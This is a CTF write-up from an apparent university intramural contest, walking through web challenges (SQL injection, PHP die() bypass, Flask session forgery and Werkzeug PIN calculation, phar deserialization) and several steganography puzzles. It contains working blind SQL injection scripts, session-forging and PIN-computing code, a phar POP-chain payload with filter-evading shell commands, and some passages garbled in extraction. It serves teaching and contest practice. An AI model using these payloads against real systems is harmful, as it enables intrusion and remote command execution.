Intramural WP


The web topic image is as follows:

docker pull lauaiwin/hzuctf-flaskrce:latest
docker pull lauaiwin/hzuctf-ezphp:latest
docker pull lauaiwin/hzuctf-babysql:latest
docker pull lauaiwin/hzuctf-sign:latest
docker pull lauaiwin/hzuctf-ezupload:latest


Web-sign in

Jump through the location, so you can't see the first page you entered, you can see the flag through Burpsuite interception or direct F12 packet recording

file

Topic source code:

<?php
header("hzu2023:flag{w3lc0m3_t0_hzu2023hhhhhhhhhhhh}");
header("location:./secret.php");
echo "flag{this_is_not_flag}";

Web-babysqli

A simple sql injection question without any filtering, injection methods are also various, and there are weak passwords at the login. Multiple solutions are provided below.
file
Login box, you can directly use admin admin weak password to log in

file

file

According to the different echoes, it can be known that there is injection, and then a series of operations such as guessing field, guessing table name, guessing column name, etc. Of course, blind injection can also be used here.

#猜解字段为3
http://120.79.29.170:49271/secrets.php?id=1' order by 3--+  

#得数据库名hzuctf
http://120.79.29.170:49271/secrets.php?id=-1' union select 1,database(),3--+ 

#得表名articles,flag,users
http://120.79.29.170:49271/secrets.php?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+

#得字段flAg
http://120.79.29.170:49271/secrets.php?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema="hzuctf" and table_name='flag'),3--+

#得到flag
http://120.79.29.170:49271/secrets.php?id=-1' union select 1,(select flAg from flag),3--+

You can use a universal password to log in here, and you will be prompted with a login sql statement when you press F12.
file

Here is the injected script:

import time

import requests

r = requests.session()
url1 = 'http://120.79.29.170:49271//login.php'
data = {
    
    
    'username': 'admin" or 1#',
    'password': 1
}
r.post(url1, data, allow_redirects=True)
flag = ''
for i in range(1, 100):
    min = 1
    max = 130
    mid = int((min + max) / 2)
    while min < max:
        url = 'http://120.79.29.170:49271/secrets.php?'
        # payload = f"id=1' xor if(ascii(substr((select database()),{i},1))>{mid},1,0)%23"  # hzuctf
        # payload=f"id=1' xor if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))>{mid},1,0)%23" #articles.flag,users
        payload = f"id=1' xor if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='flag'),{
      
      i},1))>{
      
      mid},1,0)%23"  # flAg
        # payload = f"id=1' xor if(ascii(substr((select(flAg)from(hzuctf.flag)),{i},1))>{mid},1,0)%23"
        url = url + payload
        resp = r.get(url)
        time.sleep(0.5)
        if 'I_never_thought_it_happened' in resp.text:
            min = mid + 1
            mid = int((min + max) / 2)
        else:
            max = mid
            mid = int((min + max) / 2)
    flag += chr(mid)
    print(flag)


Or it can be injected directly at the login, the following is the script:

import time

import requests

flag=''
url = 'http://120.79.29.170:49271//login.php'
for i in range(1, 100):
    min = 1
    max = 130
    mid = int((min + max) / 2)
    while min < max:
        data = {
    
    
            'username': f'admin" and if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name="flag"),{
      
      i},1))>{
      
      mid},1,0)#',
            # 'username': f'admin" and if(ascii(substr((select flAg from flag),{i},1))>{mid},1,0)#'
            'password': 1
        }
        resp = requests.post(url,data=data)
        time.sleep(0.5)
        if '"code":"1"' in resp.text:
            min = mid + 1
            mid = int((min + max) / 2)
        else:
            max = mid
            mid = int((min + max) / 2)
    flag += chr(mid)
    print(flag)

file

Web-ezphp

A topic that uses php features to bypass is mainly death bypass, because php:filter// protocol flow can be used in conjunction with various conversions such as base64 and rot13, so there are many bypass methods here.

The source code is as follows:

<?php
error_reporting(0);
highlight_file(__FILE__);
$content=$_GET['hz_u.ctf'];
$name=$_GET['name'];
$number =$_GET['text'];
if($_GET['a'] != $_GET['b'] && md5($_GET['a']) == md5($_GET['b'])) {
    
    
    if ($number='HZUCTF2023') {
    
    
        if ($_GET['d'] != 9876543 && intval($_GET['d'], 0) === 9876543) {
    
    
            if(isset($content)&&isset($name)){
    
    
                $real_content = '<?php die("May be you need some trick");'. $content . '?>';
                file_put_contents($name,$real_content);
            }

        }
        else{
    
    
            die("level3");
        }


    }
    else{
    
    
        die("level2");
    }
}
else{
    
    
    die('level1');
}



There is a pit here. When PHP receives the parameters of GET, . and [ will be converted_yes and only converted for the first time, so the parameters here should become hz[u.ctf

The way to bypass death is as follows (there are many ways, you can do your own research):

file

You can directly enter the base64 write, the reason why you need to add an a is because you need to make <?php die("May be you need some trick"); perfect decoding, remove the characters that are not in base64 and become phpdieMaybeyouneedsometrick, a total of 27 characters , add one character to become 28 characters, 28*8%6 is just 0, the front is perfectly decoded, and the subsequent construction of a sentence Trojan horse decoding will not be interfered.
file

file

Using string.strip_tags will remove the php tag, so the dead code is removed, and the Trojan horse in the following sentence can be successfully executed after being decoded by base64.

file

file

Web-flaskrce

This is a topic of the python-flask framework. When the Secret_key is known, the session is forged. There is another solution to this question. When debug=True, debugging is allowed. You can enter the console to read the flag by calculating the PIN.

Enter the topic:
file

There is file reading here, you can directly read the source code or some other files (except flag), the source code is as follows:

import os
import random
import uuid
from time import sleep

from flask import Flask, request, render_template_string, session

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)


@app.route("/")
def index():
    session['authentication'] = 'So happy for me'
    return 'GET /read?filename=/app/app.py'


@app.route("/read")
def viewFile():
    filename = request.args.get('filename')
    if "flag" in filename:
        return "You can not get flag by this way"
    try:
        with open(filename, 'r') as f:
            templates = '''{}
            '''.format(f.read())
            return render_template_string(templates)
    except Exception as e:
        templates = ''''''
        return render_template_string(templates)


@app.route("/auth")
def auth():
    if session.get("authentication") == "So happy for you":
        action = request.args.get('action')
        os.system(action)
        return "Wow!"
    else:
        return "Your Auth is not pass"


@app.errorhandler(404)
def error_date(error):
    sleep(5)
    return "No other url"


if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=8080)  # maybe have other way?


Analyze the source code. First, the topic sets the seed through random.seed(), and then enters the SECRET_KEY setting into the app configuration. The session in the flask framework depends on the SECRET_KEY key. Then when you enter the root directory, set the session key and value. The /read path filters the flag, but other files can be read. The auth path is when the value of the session key authentication is So happy for you, it is allowed to pass in the action parameter and execute os.system(). If you can forge the authentication value So happy for you, you can execute commands.

Prerequisite knowledge:

  1. The uuid.getnode() function obtains the MAC address of the computer. Generally, it is not changed by itself, and the Mac address remains unchanged.
  2. Regarding pseudo-random number seeds, whether it is PHP or Python, random numbers like these are pseudo-random numbers. When you know the seed, you can guess the random number generated later. As far as this question is concerned: 3.
    file
    About python-flask generates session and uses session, you can debug it to see how it is generated.
    file
    The SecureCookieSession class is called to process the session. If you search this class directly, you will find a series of methods for processing cookies and sessions. Among them, you can see the methods of signing and saving the session in the SecureCookieSessionInterface.
    file

class SecureCookieSessionInterface(SessionInterface):
    """The default session interface that stores sessions in signed cookies
    through the :mod:`itsdangerous` module.
    """
    #: the salt that should be applied on top of the secret key for the
    #: signing of cookie based sessions.
    salt = "cookie-session"
    #: the hash function to use for the signature.  The default is sha1
    digest_method = staticmethod(hashlib.sha1)
    #: the name of the itsdangerous supported key derivation.  The default
    #: is hmac.
    key_derivation = "hmac"
    #: A python serializer for the payload.  The default is a compact
    #: JSON derived serializer with support for some extra Python types
    #: such as datetime objects or tuples.
    serializer = session_json_serializer
    session_class = SecureCookieSession

    def get_signing_serializer(
        self, app: "Flask"
    ) -> t.Optional[URLSafeTimedSerializer]:
        if not app.secret_key:
            return None
        signer_kwargs = dict(
            key_derivation=self.key_derivation, digest_method=self.digest_method
        )
        return URLSafeTimedSerializer(
            app.secret_key,
            salt=self.salt,
            serializer=self.serializer,
            signer_kwargs=signer_kwargs,
        )

    def open_session(
        self, app: "Flask", request: "Request"
    ) -> t.Optional[SecureCookieSession]:
        s = self.get_signing_serializer(app)
        if s is None:
            return None
        val = request.cookies.get(self.get_cookie_name(app))
        if not val:
            return self.session_class()
        max_age = int(app.permanent_session_lifetime.total_seconds())
        try:
            data = s.loads(val, max_age=max_age)
            return self.session_class(data)
        except BadSignature:
            return self.session_class()

    def save_session(
        self, app: "Flask", session: SessionMixin, response: "Response"
    ) -> None:
        name = self.get_cookie_name(app)
        domain = self.get_cookie_domain(app)
        path = self.get_cookie_path(app)
        secure = self.get_cookie_secure(app)
        samesite = self.get_cookie_samesite(app)
        httponly = self.get_cookie_httponly(app)

        # If the session is modified to be empty, remove the cookie.
        # If the session is empty, return without setting the cookie.
        if not session:
            if session.modified:
                response.delete_cookie(
                    name,
                    domain=domain,
                    path=path,
                    secure=secure,
                    samesite=samesite,
                    httponly=httponly,
                )

            return

        # Add a "Vary: Cookie" header if the session was accessed at all.
        if session.accessed:
            response.vary.add("Cookie")

        if not self.should_set_cookie(app, session):
            return

        expires = self.get_expiration_time(app, session)
        val = self.get_signing_serializer(app).dumps(dict(session))  # type: ignore
        response.set_cookie(
            name,
            val,  # type: ignore
            expires=expires,
            httponly=httponly,
            domain=domain,
            path=path,
            secure=secure,
            samesite=samesite,
        )


After a simple analysis of the source code, we can see that the encrypted salt is cookie-session, the default encryption algorithm is sha1, and then there is a private key assigned to hmac. The last returned value is the URLSafeTimedSerializer() method, the incoming parameters are secret_key, salt, session_json_serializer and signer_kwargs, URLSafeTimedSerializer()

        expires = self.get_expiration_time(app, session)
        val = self.get_signing_serializer(app).dumps(dict(session))  # type: ignore
        response.set_cookie(
            name,
            val,  # type: ignore
            expires=expires,
            httponly=httponly,
            domain=domain,
            path=path,
            secure=secure,
            samesite=samesite,
        )
		
		

Finally, the session is returned to the browser through the response, and the value is generated through get_signing_serializer().dumps(). You can also set the expiration time, whether it is httponly, etc.

And URLSafeTimedSerializer() completes a series of serialization and deserialization base64 encoding and zlib compression processing, which is equivalent to a serializer. There is a URLSafeSerializer() next to it, which should be similar to it. The meaning of Time is the processing of setting timeout related.

file
file

Therefore, copy the key code that generates the session and assign it a value.

import hashlib
from flask.json.tag import TaggedJSONSerializer

from itsdangerous import *

session = {
    
    'key': 'value'}

secret = 'secret_key_data'

print(URLSafeTimedSerializer(secret_key=secret,

                             salt='cookie-session',

                             serializer=TaggedJSONSerializer(),
                             signer_kwargs={
    
    

                                 'key_derivation': 'hmac',

                                 'digest_method': hashlib.sha1

                             }

                             ).dumps(session))

In fact, the session here is very similar to JWT. It is divided into three parts by . The first part is the key-value pair encrypted by base64, the second part is related to the timestamp, and the third part is the session content, timestamp, and secretkey. The result returned after the sha1 operation is used to verify the session.

The following first forged session method solves the problem:

Knowing the SECRET_KEY can be forged, and the address of the network card can be read directly.

file

import hashlib
import random

from flask.json.tag import TaggedJSONSerializer

from itsdangerous import *
random.seed(0x0242ac110005)
secret=str(random.random() * 233)
print(secret)
session = {
    
    'authentication': 'So happy for you'}
print(URLSafeTimedSerializer(secret_key=secret,

                             salt='cookie-session',

                             serializer=TaggedJSONSerializer(),
                             signer_kwargs={
    
    

                                 'key_derivation': 'hmac',

                                 'digest_method': hashlib.sha1

                             }

                             ).dumps(session))


file

After forging the session, just pass in the action parameter and directly bounce the shell. Here, bash or python can be used for the bounce shell.

Summary of rebound shells in various languages

bash rebound shell
file

python rebound shell, pay attention to use python3
file

The second solution is to calculate the PIN:

Because when flask is running, debug is equal to True, so the console will appear when accessing /console, but the PIN code needs to be verified, and then the information of various files can be read here, so it can be counted as PIN and entered into the console to read flag.

file

Prerequisite knowledge:

You can set a breakpoint at app.run and go down, you can find werkzeug, a function library of python wsgi interface gateway, and the generation of PIN code is related to its debug library:
file

file

The generation method of PIN can be found in DebuggedApplication
file


def get_pin_and_cookie_name(
    app: "WSGIApplication",
) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]:
    """Given an application object this returns a semi-stable 9 digit pin
    code and a random key.  The hope is that this is stable between
    restarts to not make debugging particularly frustrating.  If the pin
    was forcefully disabled this returns `None`.

    Second item in the resulting tuple is the cookie name for remembering.
    """
    pin = os.environ.get("WERKZEUG_DEBUG_PIN")
    rv = None
    num = None

    # Pin was explicitly disabled
    if pin == "off":
        return None, None

    # Pin was provided explicitly
    if pin is not None and pin.replace("-", "").isdigit():
        # If there are separators in the pin, return it directly
        if "-" in pin:
            rv = pin
        else:
            num = pin

    modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
    username: t.Optional[str]

    try:
        # getuser imports the pwd module, which does not exist in Google
        # App Engine. It may also raise a KeyError if the UID does not
        # have a username, such as in Docker.
        username = getpass.getuser()
    except (ImportError, KeyError):
        username = None

    mod = sys.modules.get(modname)

    # This information only exists to make the cookie unique on the
    # computer, not as a security feature.
    probably_public_bits = [
        username,
        modname,
        getattr(app, "__name__", type(app).__name__),
        getattr(mod, "__file__", None),
    ]

    # This information is here to make it harder for an attacker to
    # guess the cookie name.  They are unlikely to be contained anywhere
    # within the unauthenticated debug page.
    private_bits = [str(uuid.getnode()), get_machine_id()]

    h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = f"__wzd{
      
      h.hexdigest()[:20]}"

    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    if num is None:
        h.update(b"pinsalt")
        num = f"{
      
      int(h.hexdigest(), 16):09d}"[:9]

    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

    return rv, cookie_name

It can be found that the sha1 algorithm is used to encrypt the data of probably_public_bits and private_bits.
Probably_public_bits is the four values ​​of the list. Through the debugging results, it can be found that they are the user name, flask.app, Flask and app.py package path.
private_bitsz is a list of network card MAC address and machine id get_machine_id() can be found above.
Finally, iterate through these 6 values, perform sha1 encryption one by one and add cookie salt salt to each number, take the first 20 digits of the result, then encrypt the pinsalt, change the hexadecimal system, take the first 9 digits, use - to divide the result, etc. .

file

def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
    global _machine_id

    if _machine_id is not None:
        return _machine_id

    def _generate() -> t.Optional[t.Union[str, bytes]]:
        linux = b""

        # machine-id is stable across boots, boot_id is not.
        for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
            try:
                with open(filename, "rb") as f:
                    value = f.readline().strip()
            except OSError:
                continue

            if value:
                linux += value
                break

        # Containers share the same machine id, add some cgroup
        # information. This is used outside containers too but should be
        # relatively stable across boots.
        try:
            with open("/proc/self/cgroup", "rb") as f:
                linux += f.readline().strip().rpartition(b"/")[2]
        except OSError:
            pass

        if linux:
            return linux


Traverse /etc/machine-id, /proc/sys/kernel/random/boot_id to read, first read /etc/machine-id, if there is a value, terminate the loop directly, and then read /proc/self/cgroup file splicing Go to the back, and then return the result, that is to say, there will be two results. If the machine-id exists, the returned result is /etc/machine-id+/proc/self/cgroup, and if it does not exist, the returned result is /etc/ machine-id + /proc/sys/kernel/random/boot_id. Here, if you write during the competition, you should use /proc/sys/kernel/random/boot_id+/proc/self/cgroup, because the docker environment of the competition does not have /etc/machine-id.

Because our file reading can read any value needed to calculate the PIN above, so we can calculate the PIN, just copy the key code for calculating the PIN.

Solve the problem below:

  1. Get the package path of the app by reporting an error
    file

  2. Read /etc/machine-id, if it exists, read /proc/self/cgroup directly

file

file

  1. Read /etc/passwd to guess the user name running the app, only root can log in, it should be root

file

  1. Read network card address

file

Calculated PIN:

import hashlib
from itertools import chain

probably_public_bits = [
    'root'
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.7/dist-packages/flask/app.py'
]

private_bits = [
    str(int("02:42:ac:11:00:05".replace(":", ""), 16)),
    'ad432f2cb0c28bbcd1f87a20199237f9' + 'c01b7991528261a4ee3be7d1923b4bd25c1e6e52fce2b8e2d64c71693a4e416f'

]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

file

file

This problem is because the server is not connected to the Internet, and the laboratory is in the internal network relative to the server, so the shell cannot be rebounded, so during the competition, it was changed to forge a session to get return os.popen('cat /flag').read() flag.

Web-ezupload

Enter the topic:
file

A reminder is given, which is related to the knowledge of phar archiving. Click UPLOAD and CHECK to see the file upload and file view pages, respectively upload_file.php and read.php. You can read the source code of the file on the file view page.

The source code is as follows:

upload_file.php:

<?php
if ($_FILES["file"]["error"]-->0)
{
    
    
    echo "上传异常";
}
else{
    
    
    $allowedExt = array("gif", "jpeg", "jpg", "png");
    $temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (($_FILES["file"]["size"]&&$_FILES["file"]["size"]<=2097152 && in_array($extension, $allowedExt))) {
    
    
        $content = file_get_contents($_FILES["file"]["tmp_name"]);
        $pos = strpos($content, "__HALT_COMPILER();");
        if (gettype($pos) === "integer") {
    
    
            echo "phar也不允许哦!";
        } else {
    
    
            $filename=md5($_FILES["file"]["name"]).'.'.$extension;
            if (file_exists("./upload/" . $filename)) {
    
    
                echo $filename . " 文件已经存在";
            } else {
    
    
                $myfile = fopen("./upload/" . $filename, "w");
                fwrite($myfile, $content);
                fclose($myfile);
                echo "上传成功 ./upload/" . $filename;
            }
        }
    }
    else
    {
    
    
        echo "文件后缀格式不通过";
    }
} ?>

Perform a simple analysis of the source code, and verify the suffix of the file by taking the content after the last decimal point. The file suffix must be gif, jpeg, jpg, png, and the file size is limited to 2M. At the same time, the content is detected and no _ HALT_COMPILER();

read.php:

<?php
error_reporting(0);
class Hzu{
    
    
    public $name;
    public $arg = 'Hello HzuStudent';
    public function __construct(){
    
    
        $this->name = 'Are_you_Web_shou?';
    }

    public function __destruct(){
    
    
        if($this->name == 'welcome_to_HzuCTF'){
    
    
            echo $this->arg;
        }
    }
}

function shell_waf($string){
    
    
    if(preg_match('/flag|\?|\'|\]|"|\/| |\\\\|\*/i', $string)){
    
    
        die("想想办法吧!");
    }
}
class Ha{
    
    
    public $shell;
    public $cmd;
    public function __invoke(){
    
    
        $shell = $this->shell;
        $cmd = $this->cmd;
        shell_waf($cmd);
        $shell($cmd);
    }
}
class Like{
    
    
    public $func;
    public $name;
    public function __toString(){
    
    
        return $this->func->name;
    }
}
class Disk{
    
    
    public $class;
    public function __construct(){
    
    
        $this->class='get';
    }
    public function __get($name){
    
    
        ($this->class)();
    }
    public function get(){
    
    
        echo 'Nice To Meet you';
    }
}
function waf($string){
    
    
    if(preg_match('/^phar:|\.\.|flag|\*/i',$string)) {
    
    
        die('我知道你想干嘛,我劝你别这样做!');
    }
}
$file=$_POST['look_file'];
if(isset($_POST['look_file']))
{
    
    
    waf($file);
    echo file_get_contents($file);
}
?>

When reading files here, file_get_contents() is passed, and above are some file classes, so you can think in the direction of deserialization, such as file_get_contents(), unlink(), file_exists(), etc. to call file stream functions are all possible The joint phar protocol triggers deserialization, so it must be phar deserialization here, but the HALT_COMPILER(); file header was detected earlier, and it must not be directly transmitted. You can check the function of phar, which is a pseudo-protocol for decompression , so using compression here can make the file header disappear and bypass detection.

Then analyze the deserialized Pop chain, you can see the shell (shell(shell ( cmd );, here can cause command execution and reverse analysis .

__construct(),类的构造函数
__destruct(),类的析构函数,销毁时自动触发
__get(),获取一个私有或不存在的类成员可调用 
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法  

The whole trigger chain is as follows: Ha::_invoke()->Disk:_get()->Like:_toString()->HZu:_destruct(), simply analyze the _get() method in the Disk class to assign this->class Give Ha() to trigger the _invoke method, and assign the func of the _toString() method in Like to the Disk() class. There is no name parameter in the Disk class, and the _get method will be triggered, and the _destruct method in the Hsu class Assign arg to the Like class, directly output the function as a string, and trigger the _toString() method. Finally, the shell is assigned to a command execution function such as system, and cmd is the command to be executed to cause the command to be specified.

There is waf here, which filters the content of cmd, filters flags, single quotes, double quotes, wildcards, ], / and spaces, because I feel that I can test the bypass of everyone's command execution here, so I added it. There are many bypass methods here, such as:

  1. You can use base64 or xxd to bypass, because the sh command line of linux comes with such a command, which can be directly decoded, and spaces can be bypassed using IFS, because {IFS} in sh is bypassed, because in shI FS is bypassed, because IFS in s h points to a space by default. So it can be produced, echoIFSY 2 F 0 IC 9 mb GF n ∣ base 64 {IFS}Y2F0IC9mbGFn|base64I FS Y 2 F 0 I C 9 mb GF n ba se 64 {IFS}-d|sh Bypass. Of course, base64 can be replaced with 32 or xxd hexadecimal.
  1. You can use the built-in commands of the sh command line to bypass. To read the flag, the key is how to create /. You may search for similar methods to intercept PATH or PATH orP A T H or PWD to create /, use ${} to intercept parameters, for example:

file

But in the environment of this question, it is not possible to use it directly, because this method of utilization is feasible in bash, but the execution functions of php commands such as system() use sh by default, and in Ubuntu and Debian systems , sh points to dash by default, not bash, and dash is probably a simplified version of bash.

file

Therefore, some string manipulation functions are used to intercept, such as expr, and the string is intercepted by expr substr. As for how to bypass the flag, because the flag here is a whole block match, so the flag can be assumed to be a null character, such as $@ $1, etc. are bypassed, which respectively represent the acquisition parameters of the shell script. If no parameters are passed, they will be empty.

file

Generate phar file:

<?php
error_reporting(0);
class Hzu{
    
    
    public $name;
    public $arg;
}

class Ha{
    
    
    public $shell;
    public $cmd;
}
class Like{
    
    
    public $func;
    public $name;

}
class Disk{
    
    
    public $class;

}

$a=new Hzu();
$a->name='welcome_to_HzuCTF';
$a->arg=new Like();
$a->arg->func=new Disk();
$a->arg->func->class=new Ha();
$a->arg->func->class->shell='system';
//$a->arg->func->class->cmd='ls${IFS}$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)';
$a->arg->func->class->cmd='cat${IFS}$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)f$@lag';
//$a->arg->func->class->cmd='echo${IFS}636174202f666c6167|xxd${IFS}-r${IFS}-ps|sh';
echo serialize($a);
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

?>


It is found here that the phar:// protocol is also filtered at the end, but ^ is only limited to the beginning, so it can be bypassed in conjunction with compress.zlib://.

Compress the generated phar file with gzip:

file

file

You can see that the file header has indeed disappeared.

Then directly change to jpg or png suffix to upload, and finally trigger deserialization through compress.zlib://phar://
file

file

Misc-zero

Open the flag.txt attached to the topic, you will find a bunch of 1s and a bunch of 0s, because the QR code is only composed of black and white, so it is generally believed that the QR code is a bunch of 01 strings, so here is a QR code, to use The script turns it back into a QR code image.

from PIL import Image
import qrcode


def create_qr_code():
    qr_code = qrcode.QRCode(version=2, error_correction=qrcode.ERROR_CORRECT_H)
    data = open('校训.txt', 'r', encoding='utf-8').read()
    qr_code.add_data(data)
    img = qr_code.make_image()
    img.save('qr.png')


def qrcode_010():
    img = Image.open("qr.png")
    width, height = img.size
    f = open('flag.txt', 'a')
    print(width, height)
    for i in range(0, width):
        for j in range(0, height):
            if img.getpixel((i, j)) == 255:
                f.write('1')
            elif img.getpixel((i, j)) == 0:
                f.write('0')


def to_qrcode():
    p = open('flag.txt', 'r').read()
    MAX = int(pow(len(p), 0.5))  # txt里的行数
    img = Image.new("RGB", (MAX, MAX))
    # 上面为01字符串
    i = 0
    for y in range(0, MAX):
        for x in range(0, MAX):
            if p[i] == '1':
                img.putpixel([x, y], (255, 255, 255))
            else:
                img.putpixel([x, y], (0, 0, 0))
            i = i + 1
    img.save('result.png')


if __name__ == '__main__':
    to_qrcode()



Turn out a picture and scan the code. You can scan it directly with your mobile phone or a website. I recommend a website

QR code recognition

file

There are only a few Chinese in the school motto, but according to the title zero means zero, it is easy to see that it is zero-width steganography. Copy the scanned Chinese and paste it into some editors to see the blank characters.

file

The characters used are 200BCDE 202ACD FEFF, just find a website to decode the website.

file

Misc-lsb

The attachment is a picture of the scenery of the school. Open it with 010, and you will find the zip file data in reverse order hidden at the end.

file

Copy the hidden data, restore it, and get a compressed package


def solve():
    f=open("hide.zip", "wb")
    bin_data = open("hide", "rb").read().hex()
    s = []
    for i in range(0, len(bin_data), 2):
        s.append(bin_data[i:i + 2])
    for i in s[::-1]:
        f.write(unhex(i))


It is found that the compressed package is encrypted. If you look here, you can find that the flag is not 01, which is a pseudo-encryption. You can break it and get three files after decompression. Look at the names, r, g, and b. According to the png file header 89 50, you can find 8 is in a, 9 is in g, 5 is in b, and then 0 is in a, so there is a png image hidden here, restore it.

file

def rgb_png():
    r = open("r", "rb").read().decode()
    g = open("g", "rb").read().decode()
    b = open("b", "rb").read().decode()
    length = len(r)
    file = open("rgb.png", "wb")
    result = ''
    for i in range(length):
        result += r[i]
        result += g[i]
        result += b[i]
    file.write(unhex(result))
	

file
I got the same png picture. According to the title lsb, I can guess the lsb steganography. In order to prevent the brainless tool 000, I hid it in the 2nd position, which is the 5th position of the picture. Observe the changes in the pictures of each color channel, and you can also confirm that the picture is steganographically in the first 3 positions. You can find it by trying one by one, and you can see the flag when you extract it.

file

Or script extraction is also available, the complete script including problem solving is as follows:

from PIL import Image
from pwnlib.util.fiddling import unhex


def full_eight(str):
    return str.zfill(8)


def get_text_bin(strr):
    string = ""
    s_text = strr.encode()
    for i in range(len(s_text)):
        string = string + full_eight(bin(s_text[i]).replace('0b', ''))
    return string


def mod(x, y):
    return x % y


def lsb(str1, str2, str3):
    img = Image.open(str1)  # 31 11 0
    width = img.size[0]
    height = img.size[1]
    key = get_text_bin(str2)
    keylen = len(key)
    count = 0
    for w in range(width):
        for h in range(height):
            pixel = img.getpixel((w, h))[0:3]
            r = pixel[0]
            g = pixel[1]
            b = pixel[2]
            r_bin = bin(r).replace('0b', '').zfill(8)
            g_bin = bin(g).replace('0b', '').zfill(8)
            b_bin = bin(b).replace('0b', '').zfill(8)
            if count == keylen:
                break
            r_bin = r_bin[0:5] + key[count] + r_bin[6:8]
            count += 1
            if count == keylen:
                img.putpixel((w, h), (int(r_bin, 2), int(g_bin, 2), int(b_bin, 2)))
                break
            g_bin = g_bin[0:5] + key[count] + g_bin[6:8]
            count += 1
            if count == keylen:
                img.putpixel((w, h), (int(r_bin, 2), int(g_bin, 2), int(b_bin, 2)))
                break
            b_bin = b_bin[0:5] + key[count] + b_bin[6:8]
            count += 1
            if count == keylen:
                img.putpixel((w, h), (int(r_bin, 2), int(g_bin, 2), int(b_bin, 2)))
                break
            if count % 3 == 0:
                img.putpixel((w, h), (int(r_bin, 2), int(g_bin, 2), int(b_bin, 2)))
                break
    img.save(str3)


def lsb_solve(str1, leng):
    result = ""
    im = Image.open(str1)
    lenth = leng * 8
    width = im.size[0]
    height = im.size[1]
    count = 0
    for h in range(0, height):
        for w in range(0, width):
            pixel = im.getpixel((w, h))
            r = pixel[0]
            g = pixel[1]
            b = pixel[2]
            r_bin = bin(r).replace('0b', '').zfill(8)
            g_bin = bin(g).replace('0b', '').zfill(8)
            b_bin = bin(b).replace('0b', '').zfill(8)
            if count % 3 == 0:
                count += 1
                result = result + r_bin[5]
                if count == lenth:
                    break
            if count % 3 == 1:
                count += 1
                result = result + g_bin[5]
                if count == lenth:
                    break
            if count % 3 == 2:
                count += 1
                result = result + b_bin[5]
                if count == lenth:
                    break
        if count == lenth:
            break
    st = ""
    for i in range(0, len(result), 8):
        stra = int(result[i:i + 8], 2)
        st += chr(stra)
    return st


# def Image_rgb():
#     img = Image.open("lsb.png")
#     width, height = img.size
#     f = open('rgb.txt', 'a')
#     f.write(f'{width},{height}\n')
#     for i in range(0, width):
#         for j in range(0, height):
#             s = str(img.getpixel((i, j)))
#             s = s.rstrip(')').lstrip('(')
#             f.write(s)
#             f.write('\n')


def png_rgb():
    a = open('r', 'w+')
    b = open('g', 'w+')
    c = open('b', 'w+')
    png = open('./result.png', 'rb').read().hex()
    for i in range(0, len(png), 3):
        a.write(png[i])
        b.write(png[i + 1])
        c.write(png[i + 2])


def rgb_png():
    r = open("r", "rb").read().decode()
    g = open("g", "rb").read().decode()
    b = open("b", "rb").read().decode()
    length = len(r)
    file = open("rgb.png", "wb")
    result = ''
    for i in range(length):
        result += r[i]
        result += g[i]
        result += b[i]
    file.write(unhex(result))

# def rbg_Image():
#     # 注意去除1280
#     x = 1280
#     y = 1280
#     image = Image.new("RGB", (x, y))
#     f = open('A:\下载\\flag\\rgb.txt')
#     for i in range(0, x):
#         for j in range(0, y):
#             l = f.readline()
#             r = l.split(",")  # 注意如果给出的rgb值逗号后有空格记得加上
#             image.putpixel((i, j), (int(r[0]), int(r[1]), int(r[2])))
#     image.save('result.png')


def hide():
    bin_data = open("flag.zip", 'rb').read().hex()
    s = []
    f = open('hzu.jpg', 'ab')
    for i in range(0, len(bin_data), 2):
        s.append(bin_data[i:i + 2])
    for i in s[::-1]:
        f.write(unhex(i))


def solve():
    f = open("A:\下载\\flag.zip", "wb")
    bin_data = open("hide", "rb").read().hex()
    s = []
    for i in range(0, len(bin_data), 2):
        s.append(bin_data[i:i + 2])
    for i in s[::-1]:
        f.write(unhex(i))


if __name__ == '__main__':
    # str = 'hzu.png'
    # str1 = 'hzuctf{Hzu_Un1versity_1s_Beaut1fu1_p1ace!}'
    # str2 = 'lsb.png'
    # lsb(str, str1, str2)
    # hide()
    # rgb_png()
    print(lsb_solve('rgb.png',50))


Misc-base

Open the attachment, flag.txt gives a hint, maybe it is related to the padding bit, and then it is base. You can know that it is base steganography. The principle of base32 steganography and base64 steganography is actually the same. If you understand the encryption and decryption process of base32 Very clear and easy to understand, as follows.

